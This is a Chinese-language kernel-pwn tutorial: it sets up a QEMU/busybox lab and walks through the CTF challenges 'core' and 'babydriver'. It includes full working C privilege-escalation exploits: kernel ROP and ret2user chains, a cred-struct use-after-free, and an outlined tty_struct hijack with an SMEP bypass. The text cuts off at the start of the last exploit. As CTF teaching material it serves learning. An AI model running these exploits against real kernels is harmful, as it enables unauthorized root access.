kernel PWN入门
环境搭建
这一部分是参考的arttnba3师傅的这篇博客,Linux Kernel II:内核简易食用指北。
这里简化了文章中的许多内容,旨在快速的搭建起一个kernel pwn的环境和理解pwn题中的一些关键文件的来源。如果想对kernel的知识有更深的一些了解,十分推荐去看arttnba3师傅的原文。
1.安装依赖
$ sudo apt-get update
$ sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils
$ qemu flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev
2.获取内核镜像
直接下载发行版中已有的内核镜像,首先用以下命令列出可以下载的内核镜像:
$ sudo apt search linux-image-
这里我选择的是
$ sudo apt download linux-image-unsigned-6.8.0-40-generic
下载下来是一个deb文件,解压:
$ dpkg -X ./linux-image-unsigned-6.8.0-40-generic_6.8.0-40.40~22.04.3_amd64.deb extract
其中,\extract\boot下的vmlinuz-6.8.0-40-generic就是我们之后经常见到的bzImage内核镜像文件。
使用 busybox 构建文件系统
1.编译busybox
首先可以在https://busybox.net/downloads/这里下载自己想要的版本。我选择的是busybox-1.37.0.tar.bz2这个版本
$ wget https://busybox.net/downloads/busybox-1.37.0.tar.bz2
解压:
$ tar -jxvf busybox-1.37.0.tar.bz2
接下来我们配置编译选项:
$ cd busybox-1.37.0/
$ make menuconfig
进入到图形化界面,使用空格勾选Settings–>**Build static binary (no shared libs) (NEW)**。
接下来就是编译:
$ make -j$(nproc)
$ make install
编译完成后会生成一个 _install 目录,接下来我们将会用它来构建文件系统。
2.构建文件系统
初始化:
$ cd _install/
$ mkdir -pv {bin,sbin,etc,proc,sys,dev,home/ctf,root,tmp,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
$ touch etc/inittab
$ mkdir etc/init.d
$ touch etc/init.d/rcS
$ chmod +x ./etc/init.d/rcS
配置 etc/inttab ,写入如下内容:
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init
然后在_install目录下创建init文件,写入:
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cd /home/ctf
su ctf -c sh
poweroff -d 0 -f
添加可执行权限:
$ chmod +x ./init
接下来配置用户组:
$ echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
$ echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
$ echo "root:x:0:" > etc/group
$ echo "ctf:x:1000:" >> etc/group
$ echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab
3.打包镜像
使用如下命令打包文件系统为 cpio 格式
$ find . | cpio -o --format=newc > ../../rootfs.cpio
这里我打包到了桌面上,当然这里可以打包到任意喜欢的位置。
4.使用qemu运行内核
首先下载qemu:
$ sudo apt update
$ sudo apt install qemu-system-x86 qemu-utils
将之前的rootfs.cpio和bzImage(就是这个:vmlinuz-6.8.0-40-generic)放在同一个目录下
然后我们编写启动脚本:
$ touch boot.sh
向脚本中写入:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-nographic \
-s
接下来运行脚本:
$ sh boot.sh
启动成功:
Boot took 5.24 seconds
~ $ ls /
bin etc init lib64 proc sbin tmp
dev home lib linuxrc root sys usr
~ $ whoami
ctf
~ $
至此,我们构建了一个十分简单内核并且成功运行。
kerinel pwn的一些基础知识
关于这个部分,网上已经有不少优秀的文章了,并且kernel的知识多的吓人,我在此就不多做赘述了,为大家贴出几篇优秀的文章:
Linux Kernel PWN | 01 From Zero to One
一些常用的命令和调试方法
常用的命令
打包文件系统为 cpio 格式:
$ find . | cpio -o --format=newc > ../rootfs.cpio
解压cpio文件:
$ cpio -idmv < rootfs.cpio
如果我们用file命令发现文件经过gzip压缩,就像这样:
$ file ../rootfs.cpio
../rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672
就要使用:
$ gunzip -c ../rootfs.cpio > rootfs.cpio.extracted # 解压gzip,生成cpio归档文件
$ cpio -idmv < rootfs.cpio.extracted # 提取cpio归档内容到当前目录
由于我们在kernel中写exp要用c语言并且编译为可执行程序,所以要用到:
$ gcc exp.c -static -masm=intel -g -o exp
有时题目不会给我们vmlinux这个文件,我们可以用脚本提取出来,提取vmlinux的脚本也可以在Linux的GitHub上找到:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。。
这里我们也直接给出来:
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
把代码复制到文件中,保存为extract-vmlinux,然后赋予执行权限。提取vmlinux命令如下:
./extract-vmlinux ./bzImage > vmlinux
之后我们就可以用ROPgadget或者ropper找gadget了。
动态调试的方法
介绍一下使用GDB进行动调的方法:
首先我们要得到.ko驱动的符号表,这个地址在内核中的/sys/module/core/section/.text里,可以用cat来查看,但是这个位置一般都需要root权限,为了方便调试,要修改init中的启动权限:
#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh -> root
接下来启动内核,使用cat /sys/module/core/section/.text得到.text的地址。
使用gdb ./vmlinux -q启动gdb,
但是此时没有加载驱动.ko的符号表,需要使用
pwndbg> add-symbol-file filename.ko textaddr
来加载,
然后就可以使用b下断点了,之后再使用
pwndbg> target remote localhost:1234
就可以连接上kernel了。
两个例题
core
解压完成后有四个文件,
- bzImage:压缩的内核映像
- core.cpio:文件系统映像
- start.sh:用于启动 kernel 的 shell 的脚本
- vmlinux:静态链接的可执行文件格式的 Linux 内核
先让我们查看一下start.sh的内容:
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \ # 启用 GDB 调试服务器,默认监听 localhost:1234
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
启用了kaslr保护,并且最好将64M改为128M或者256M,否则可能会启动失败。
接下来把core.cpio解压出来,查看init文件:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms # 将内核符号表转储到 /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict # 禁止普通用户查看内核符号地址,但是由于上一行转储了文件,这一行实际上就没有用了
echo 1 > /proc/sys/kernel/dmesg_restrict #禁止普通用户查看内核日志,即不能通过dmesg查看kernel的信息
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko #加载内核模块 core.ko
poweroff -d 120 -f & #后台启动 120 秒后强制关机,可以把这一行注释
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
从上面的脚本注意到:/proc/kallsyms的内容被转储到了/tmp/kallsyms,这就意味着我们可以在普通权限下得到函数的地址。
然后,让我们着重分析core.ko这个文件,checksec一下:
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No
拖进ida分析,
先来看看init函数:在/proc 文件系统中动态创建一个名为 core 的虚拟文件,我们对ioctl等驱动函数的访问就是通过这个文件来实现的。同时在core_fops里定义了三个回调函数:core_write,core_ioctl,core_release。
__int64 init_module() { core_proc = proc_create("core", 438LL, 0LL, &core_fops); printk(&unk_2DE); return 0LL; }exit_core函数:移除/proc/core
__int64 exit_core() { __int64 result; // rax if ( core_proc ) return remove_proc_entry("core"); return result; }core_release函数:
__int64 core_release() { printk(&unk_204); return 0LL; }core_ioctl函数:定义了三条命令,我们可以使用ioctl(fd, cmd, …)来执行不同的操作。可以看到,当cmd=0x6677889C时,我们可以设置off这个全局变量的值。
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk(&unk_2CD); off = a3; break; case 0x6677889A: printk(&unk_2B3); core_copy_func(a3); break; } return 0LL; }core_read函数:存在canary,并且发现** copy_to_user(a1, &v5[off], 64LL);**可以从v5[off]的位置拷贝64字节到用户空间上,之前提到off的值是可以被控制的,那么我们就可以轻松的泄露出canary的值。
unsigned __int64 __fastcall core_read(__int64 a1) { char *v2; // rdi __int64 i; // rcx unsigned __int64 result; // rax char v5[64]; // [rsp+0h] [rbp-50h] BYREF unsigned __int64 v6; // [rsp+40h] [rbp-10h] v6 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); v2 = v5; for ( i = 16LL; i; --i ) { *(_DWORD *)v2 = 0; v2 += 4; } strcpy(v5, "Welcome to the QWB CTF challenge.\n"); result = copy_to_user(a1, &v5[off], 64LL); if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result; }core_copy_func函数:注意到传入的a1是__int64型,但是下面使用qmemcpy时是unsigned型,意味着我们可以使用负数来溢出。那么接下来我们只需要控制全局变量name的值就可以控制程序执行流了。
__int64 __fastcall core_copy_func(__int64 a1) { __int64 result; // rax _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF v2[8] = __readgsqword(0x28u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); return 0xFFFFFFFFLL; } else { result = 0LL; qmemcpy(v2, &name, (unsigned __int16)a1); } return result; }core_write函数:前面提到这是FOP回调定义的函数,所以我们直接使用write这个函数,就能将数据传入name中。
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { printk(&unk_215); if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) return (unsigned int)a3; printk(&unk_230); return 0xFFFFFFF2LL; }至此,逆向的工作就差不多了,漏洞利用的流程也很简单:
1.设置off以泄露canary
2.将payload传入name
3.利用负数溢出打ROP
但是,还有一个小问题没有解决:本题是开启了KASLR保护的,我们还需要泄露函数地址和基地址。
先介绍几个概念:
- raw_vmlinux_base:KASLR 加工前的内核加载基址
- vmlinux_base:KASLR 加工后的内核加载基址
我们需要得到一个KASLR对内核基址的偏移,这个偏移offset=vmlinux_base - raw_vmlinux_base。
然后我们就可以通过这个offset得到其他函数和gadget的实际加载地址了。
raw_vmlinux_base的值可以通过checksec vmlinux得到:由于本题没开PIE,所以就是下面的0xffffffff81000000。
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0xffffffff81000000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
对于本题,由于内核符号表(/tmp/kallsyms)可读,所以我们选择泄露commit_creds和prepare_kernel_cred这两个函数。
这两个函数的偏移我们可以直接写python脚本来泄露:
from pwn import *
elf = ELF("./vmlinux")
raw_vmlinux_base = 0xffffffff81000000
print(f"commit_creds: " + hex(elf.symbols['commit_creds'] - raw_vmlinux_base))
print(f"prepare_kernel_cred: " + hex(elf.symbols['prepare_kernel_cred'] - raw_vmlinux_base))
这里有一个问题,题目直接给出的vmlinux是有问题的,不能用,要用解压core.cpio出来得到的那个vmlinux。
得到:
commit_creds: 0x9c8e0
prepare_kernel_cred: 0x9cce0
gadget的寻找还是可以用ROPgadget或ropper,但有的时候单独只用一个可能会找不到某些gadget,但是另一个可以找到(真奇怪。
官方的exp,这是使用ROP的:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
//保存用户态环境
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
void core_read(int fd, char *buf)
{
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}
int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
size_t rop[0x1000] = {0};
int i;
for(i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0;
}
接下来把这个.c文件gcc后重新打包,启动kernel后执行这个文件,就可以提权了。
还有一种使用ret2user的方式,比起ROP更简单,但是只能在未开启 SMAP/SMEP 保护时使用,大体流程和上面差不多,只是在构造ROP时有一点点区别,这里就不再赘述了,给出exp:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}
void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}
void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}
int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}
//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
size_t offset = commit_creds - 0xffffffff8109c8e0;
// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];
//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}
babydriver
题目链接:CISCN2017-babydriver
题目解压出来后,发现没有vmlinux文件,可以用上面提到的方法来提取。
还是先看看boot.sh这个脚本:
#!/bin/bash
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
开启了SEMP保护,没有KASLR。
解压rootfs.cpio后看看init:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag #设置文件flag的所有者为root用户和组。
chmod 400 flag #限制flag文件仅允许root用户读取,其他用户无权限。
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
加载了一个叫babydriver.ko的驱动,漏洞一般就在这里。
checksec一下:只开了NX
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No
Debuginfo: Yes
拖进ida分析,
首先是babydriver_init函数:初始化了/dev/babydev,在fop里定义了几个回调函数。
int __cdecl babydriver_init() { __int64 v0; // rdx int v1; // edx __int64 v2; // rsi __int64 v3; // rdx int v4; // ebx class *v5; // rax __int64 v6; // rdx __int64 v7; // rax if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 ) { cdev_init(&cdev_0, &fops); v2 = babydev_no; cdev_0.owner = &_this_module; v4 = cdev_add(&cdev_0, babydev_no, 1LL); if ( v4 >= 0 ) { v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no); babydev_class = v5; if ( v5 ) { v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev"); v1 = 0; if ( v7 ) return v1; printk(&unk_351, 0LL, 0LL); class_destroy(babydev_class); } else { printk(&unk_33B, "babydev", v6); } cdev_del(&cdev_0); } else { printk(&unk_327, v2, v3); } unregister_chrdev_region(babydev_no, 1LL); return v4; } printk(&unk_309, 0LL, v0); return 1; }babyopen函数:在我们使用open打开设备文件时,会分配一个0x40大小的chunk,并将该chunk的指针存在全局变量babydev_struct.device_buf中。
int __fastcall babyopen(inode *inode, file *filp) { __int64 v2; // rdx _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL); babydev_struct.device_buf_len = 64LL; printk("device open\n", 37748928LL, v2); return 0; }babyrelease函数:在使用close(fd)时调用该函数,释放babydev_struct.device_buf指向的chunk,但是未将指针置NULL,存在UAF。
1
2
3
4
5
6
7
8
9int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}babyioctl函数:只有一个功能,当command=0x10001时,先free掉babydev_struct.device_buf指向的chunk,然后可以申请任意大小的堆块。
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; // rdx size_t v4; // rbx __int64 v5; // rdx _fentry__(filp, *&command, arg); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = _kmalloc(v4, 0x24000C0LL); babydev_struct.device_buf_len = v4; printk("alloc done\n", 0x24000C0LL, v5); return 0LL; } else { printk(&unk_2EB, v3, v3); return -22LL; } }babywrite和babyread函数就是正常的读写chunk,这里就不提了。
由上面的逆向分析可以发现,本题的漏洞是一个伪条件竞争的UAF漏洞,即:如果我们同时使用open打开两个设备,由于 babydev_struct.device_buf是一个全局变量,第二次会将第一次分配的空间给覆盖了。此时如果我们释放第一个,那么实际上就会将第二个给释放了,造成了UAF。
关于这里为什么要打开两个设备,不能只在一个设备里完成UAF,是因为:babyrelease这个函数并不是一个FOP定义的回调函数,我们不能使用。这个函数只会在close(fd)时自动调用,但是close后我们就不能再操作这个设备了。所以这里要用两个设备来构造UAF。
知道如何得到UAF,接下来就该想想怎么提权了,这里介绍两种方法:
改cred结构体
这种方法的利用思路是,利用ioctl调整一个chunk的大小为一个cred结构体的大小(0xa8),然后关闭该设备,再fork()出一个新进程,那么刚才被释放的chunk就会被分配做新进程的cred结构体,而我们此时还有另一个设备可以操控该chunk,这时只需将该cred结构体中的euid改为0(root)即可完成提权。
exp:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
int main(void){
printf("[*]Start to exploit...\n");
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0xa8); //修改为cred结构体大小的chunk
close(fd1); //得到垂悬指针
int pid = fork();
if(pid < 0){
printf("[x] Unable to fork the new thread, exploit failed.\n");
}
else if(pid == 0){
char buf[30] = {0};
write(fd2,buf,28); //修改cred结构体
if(getuid() == 0){
printf("[+] Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
return 0;
}
else{
printf("[x] Unable to get the root, exploit failed.\n");
return -1;
}
}
else{
wait(NULL);
}
return 0;
}
改tty结构体
上面改cred结构体的方法很简单,但是上述是在kernel版本为4.4.72的情况下进行操作的,在kernel版本为4.5之后出现了一点变化,让我们看看源码:
4.4.72
void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); }4.5
void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); }
注意到,在4.5中添加了一个SLAB_ACCOUNT标志位,我们知道内核中的 slab 分配器有一个优化机制,会将属性完全一致的缓存合并,以便复用同一套内存管理逻辑。例如,如果没有SLAB_ACCOUNT标志,cred_jar 创建出来的 slab 缓存与 kmalloc 用于分配 192 字节对象的缓存(通常称为 kmalloc-192)属性一致,那么这两者就会合并在一起。
当在创建 cred_jar 时额外加上了 SLAB_ACCOUNT 标志,这就改变了 cred_jar 的属性。内核会认为它与 kmalloc-192 的缓存不再相同,从而不会进行合并。
结果就是,如果通过 kmalloc 分配 192 字节的内存,内核不会去使用 cred_jar 中的对象,而是使用 kmalloc-192 自己的缓存。这就要求如果想使用 cred_jar,必须通过直接调用 kmem_cache_alloc(cred_jar, …) 来分配对象,而不能通过 kmalloc 来间接分配。
也就是说,第一种方法从此失效了,我们必须寻找另外的方法来提权。
我们这里选用tty设备。
有关这个设备的介绍,,我们只在这里简要介绍了,详细的知识可以看这几篇文章:
一文彻底讲清Linux tty子系统架构及编程实例
linux kernel pwn 常用结构体
当用户执行open(“/dev/ptmx”, O_RDWR),kernel会分配一个tty_struct结构体(本题版本该结构体大小为0x2e0)。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
......
//完整结构体见:https://elixir.bootlin.com/linux/v4.7.2/source/include/linux/tty.h#L272
我们重点关注这个**const struct tty_operations *ops;**:
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
......
//完整结构体见:https://elixir.bootlin.com/linux/v4.7.2/source/include/linux/tty_driver.h#L251
不难看出,这个结构体中存着许多的函数指针。当我们对ptmx驱动进行write时,就会调用上面write指针指向的函数,。那么如果我们能伪造这个结构体,并且可以修改const struct tty_operations *ops这个指针,不就可以执行我们的提权代码了吗。(很像我们的FSOP)
我们先来进行一些准备工作:
由于本题开启了SMEP,无法直接ret2user,但是我们可以绕过。
SMEP和SMAP都通过cr4寄存器的值来判断,因此我们找到如下绕过的gadget:
0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret
在CTF中,我们常将cr4的值设置为0x6f0来绕过SMEP。
本题没有开启SMAP,所以我们可以在用户态的栈上布置ROP链和tty_operations结构体。
并且本题无KASLR,**/proc/kallsyms**没有设置root权限,可以直接读取:
/ $ cat /proc/kallsyms | grep "commit_creds"
ffffffff810a1420 T commit_creds
ffffffff81d88f60 R __ksymtab_commit_creds
ffffffff81da84d0 r __kcrctab_commit_creds
ffffffff81db948c r __kstrtab_commit_creds
/ $ cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff810a1810 T prepare_kernel_cred
ffffffff81d91890 R __ksymtab_prepare_kernel_cred
ffffffff81dac968 r __kcrctab_prepare_kernel_cred
ffffffff81db9450 r __kstrtab_prepare_kernel_cred
接下来,就该考虑如何控制程序执行流了。由于我们无法控制内核的栈空间,所以我们需要使用栈迁移。
经过动调可以发现,在我们调用tty_operations->write时,rax寄存器中存放的便是tty_operations结构体的地址。那么我们就可以使用形如mov rsp, rax,xchg rax, rsp之类的指令进行栈迁移了。
由于rax指向的地址是tty_operations[0],而tty_operations->write在tty_operations[7],这一段空间很小,我们得再执行一次栈迁移。
最后exp如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
